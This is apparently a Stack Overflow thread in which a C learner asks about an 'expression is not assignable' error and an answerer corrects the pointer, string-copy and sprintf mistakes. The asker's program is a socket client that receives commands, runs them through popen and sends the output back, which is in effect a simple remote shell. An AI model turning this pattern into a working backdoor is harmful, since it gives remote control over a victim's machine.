1

I am getting this error:

error: expression is not assignable
                                *fullmsg+(fmsglen+10) = output;

for trying to assign a string pointer to a part of another string pointer. Why is this happening and how can I fix this? Here is the full code:

int main(){

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(4583);
    server.sin_family = AF_INET;
    connect(sock, (struct sockaddr *) &server, sizeof(server));
    char* fullmsg = (char *) malloc(10010);

    char* command = (char *) malloc(75);
    int commandlen;
    char* output = (char *) malloc (5000);
    int fmsglen = 0;
    while (1){
        recv(sock, command, 75, 0);
        commandlen = strlen(command);
        if (*command == 'c' && *command+1 == 'd'){
            command[commandlen-1] = '\0';
            int stat = chdir(command+3);
            if (stat != 0){
                output = strerror(errno);
                send(sock, output, 5000, 0);
            } else {
                send(sock, 0, 0, 0);
            }
        } else{
            FILE * cmd = popen(command, "r");
            while (fgets(output, 5000, cmd) != NULL){
                *fullmsg+(fmsglen+10) = output;
                fmsglen = strlen(fullmsg);
            }
            sprintf(&fullmsg, "%10lu", strlen(fullmsg));
            send(sock, fullmsg, 10010, 0);
            pclose(cmd);
        }
    }
    free(output);
    free(command);
    free(fullmsg);
    return 0;
}

All help is appreciated (I know this is probably a mistake with an easy fix but I'm relatively new to C)

Vlad from Moscow
  • 301,070
  • 26
  • 186
  • 335
Serket
  • 3,785
  • 3
  • 14
  • 45

1 Answers1

2

In this statement

*fullmsg+(fmsglen+10) = output;

in the left hand side of the assignment there is used a value of the type int. You may not assign one value to anothr value. Moreover in the right hand side there is an object of the type char *. So in any case this assignment does not make sense.

Even if you will rewrite the statement like

fullmsg+(fmsglen+10) = output;

nevertheless again in the left hand side there will be a value that may not be assignable.

It seems you mean something like the following

strcpy( fullmsg + fmsglen + 10, output );

That is you want to copy the string pointed to by the pointer output to the character array pointed to by the pointer fullmsg with the given offset fmsglen + 10.

Also it seems that instead of this if statement

if (*command == 'c' && *command+1 == 'd'){

you mean this statement

if (*command == 'c' && *( command + 1 ) == 'd'){

And this loop even if you will use the standard C function strcpy to copy string

while (fgets(output, 5000, cmd) != NULL){
    strcpy( fullmsg + fmsglen + 10, output );
    fmsglen = strlen(fullmsg);
}

is not correct because you can add 10 several times to the length of the result string.

And this statement

sprintf(&fullmsg, "%10lu", strlen(fullmsg));

should be rewritten at least like

sprintf( fullmsg, "%10zu", strlen( fullmsg ) );

But this is also wrong because the call places at the beginning of fullmsg a string (zero-terminated) that represents the value of the expression strlen( fullmsg ). You need a separate string of the size 11 bytes that will be used in the call of sprintf to convert the value to string and then you can use the function memcpy to copy this string in the beginning of the string pointed to by fullmsg.

Vlad from Moscow
  • 301,070
  • 26
  • 186
  • 335